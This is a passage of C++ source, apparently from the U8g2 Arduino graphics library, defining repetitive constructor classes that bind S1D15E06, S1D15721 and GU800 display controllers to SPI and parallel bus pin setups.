U8G2_S1D15E06_160100_1_6800 : public U8G2 {\n  public: U8G2_S1D15E06_160100_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15e06_160100_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15E06_160100_1_8080 : public U8G2 {\n  public: U8G2_S1D15E06_160100_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15e06_160100_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15E06_160100_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_S1D15E06_160100_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15e06_160100_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15E06_160100_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_S1D15E06_160100_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15e06_160100_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_S1D15E06_160100_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_S1D15E06_160100_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15e06_160100_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_S1D15E06_160100_2_6800 : public U8G2 {\n  public: U8G2_S1D15E06_160100_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15e06_160100_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15E06_160100_2_8080 : public U8G2 {\n  public: U8G2_S1D15E06_160100_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15e06_160100_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15E06_160100_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_S1D15E06_160100_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15e06_160100_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15E06_160100_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_S1D15E06_160100_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15e06_160100_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_S1D15E06_160100_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_S1D15E06_160100_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15e06_160100_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_S1D15E06_160100_F_6800 : public U8G2 {\n  public: U8G2_S1D15E06_160100_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15e06_160100_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15E06_160100_F_8080 : public U8G2 {\n  public: U8G2_S1D15E06_160100_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15e06_160100_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15721_240X64_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_S1D15721_240X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15721_240x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15721_240X64_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_S1D15721_240X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15721_240x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_S1D15721_240X64_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_S1D15721_240X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15721_240x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_S1D15721_240X64_1_6800 : public U8G2 {\n  public: U8G2_S1D15721_240X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15721_240x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15721_240X64_1_8080 : public U8G2 {\n  public: U8G2_S1D15721_240X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15721_240x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15721_240X64_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_S1D15721_240X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15721_240x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15721_240X64_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_S1D15721_240X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15721_240x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_S1D15721_240X64_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_S1D15721_240X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15721_240x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_S1D15721_240X64_2_6800 : public U8G2 {\n  public: U8G2_S1D15721_240X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15721_240x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15721_240X64_2_8080 : public U8G2 {\n  public: U8G2_S1D15721_240X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15721_240x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15721_240X64_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_S1D15721_240X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15721_240x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15721_240X64_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_S1D15721_240X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15721_240x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_S1D15721_240X64_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_S1D15721_240X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15721_240x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_S1D15721_240X64_F_6800 : public U8G2 {\n  public: U8G2_S1D15721_240X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15721_240x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_S1D15721_240X64_F_8080 : public U8G2 {\n  public: U8G2_S1D15721_240X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_s1d15721_240x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_GU800_128X64_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_GU800_128X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_128x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_GU800_128X64_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_GU800_128X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_128x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GU800_128X64_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_GU800_128X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_128x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GU800_128X64_1_6800 : public U8G2 {\n  public: U8G2_GU800_128X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_128x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_GU800_128X64_1_8080 : public U8G2 {\n  public: U8G2_GU800_128X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_128x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_GU800_128X64_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_GU800_128X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_128x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_GU800_128X64_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_GU800_128X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_128x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GU800_128X64_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_GU800_128X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_128x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GU800_128X64_2_6800 : public U8G2 {\n  public: U8G2_GU800_128X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_128x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_GU800_128X64_2_8080 : public U8G2 {\n  public: U8G2_GU800_128X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_128x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_GU800_128X64_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_GU800_128X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_128x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_GU800_128X64_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_GU800_128X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_128x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GU800_128X64_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_GU800_128X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_128x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GU800_128X64_F_6800 : public U8G2 {\n  public: U8G2_GU800_128X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_128x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_GU800_128X64_F_8080 : public U8G2 {\n  public: U8G2_GU800_128X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_128x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_GU800_160X16_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_GU800_160X16_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_160x16_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_GU800_160X16_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_GU800_160X16_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_160x16_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GU800_160X16_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_GU800_160X16_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_160x16_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GU800_160X16_1_6800 : public U8G2 {\n  public: U8G2_GU800_160X16_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_160x16_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_GU800_160X16_1_8080 : public U8G2 {\n  public: U8G2_GU800_160X16_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_160x16_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_GU800_160X16_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_GU800_160X16_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_160x16_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_GU800_160X16_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_GU800_160X16_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_160x16_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GU800_160X16_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_GU800_160X16_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_160x16_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_GU800_160X16_2_6800 : public U8G2 {\n  public: U8G2_GU800_160X16_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_160x16_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_GU800_160X16_2_8080 : public U8G2 {\n  public: U8G2_GU800_160X16_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_gu800_160x16_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_GU800_160X16_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_GU800_160X16_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = 